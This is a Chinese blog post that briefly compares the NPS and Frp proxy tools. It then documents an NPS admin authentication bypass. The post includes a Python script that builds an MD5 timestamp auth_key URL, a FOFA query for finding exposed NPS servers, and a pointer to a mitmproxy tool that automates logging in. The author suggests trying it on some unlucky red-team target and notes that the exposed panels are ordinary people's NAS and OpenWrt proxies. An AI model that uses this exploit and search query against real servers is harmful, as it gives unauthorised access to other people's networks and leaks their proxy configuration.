HVV期间爆出一个nps的权限绕过漏洞,会泄漏nps上配置的所有参数。记录备忘,找个RT的倒霉蛋试试

0x01 NPS使用

代理一直用的都是Frp,刚好有时间对比一下哪个好用。安装就不介绍了,Github上有详细的中文文档进行说明。

1.创建一个客户端

通过默认端口登录NPS后,选择左边客户端一栏,根据需要新增一个客户端。类比frp,就是开启frps

2.通过客户端进行连接

之后通过客户端进行连接,命令写在了客户端里面。类比frp,就是通过frpc进行连接

3.建立隧道进行转发

建立连接后,点击客户端右边的隧道,可以新建各种协议的代理转发。

使用区别:Frp客户端连接服务端时,通过frpc.ini指定了隧道。NPS先连接服务端,后指定隧道。

0x02 后台权限绕过

具体可以看这篇分析文章,重点在于只要把时间戳进行MD5编码即可进行绕过。

import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()

print("Index/Index?auth_key=%s&timestamp=%s" % (auth_key,int(now)))

fofa语法:body="https://ehang.io/nps"

直接在浏览器进行拼接即可绕过。此时若点击其他状态栏会302跳转到登录框,如果浏览器自动替换时间戳应该就不会跳转了。

0x03 自动化脚本

参考这个项目进行自动替换即可。用法很简单一条命令进行抓包,浏览器设置成mitmproxy的代理端口,之后访问NPS地址会发现直接登录后台并可以进行操作了。

0x04 修复建议

通过fofa一看一个准,全是大家nas、openwrt、mstsc的代理。自建的nps参考网上说的去掉auth_key还是可以进行复现,强烈建议作者下版本修复后再进行使用。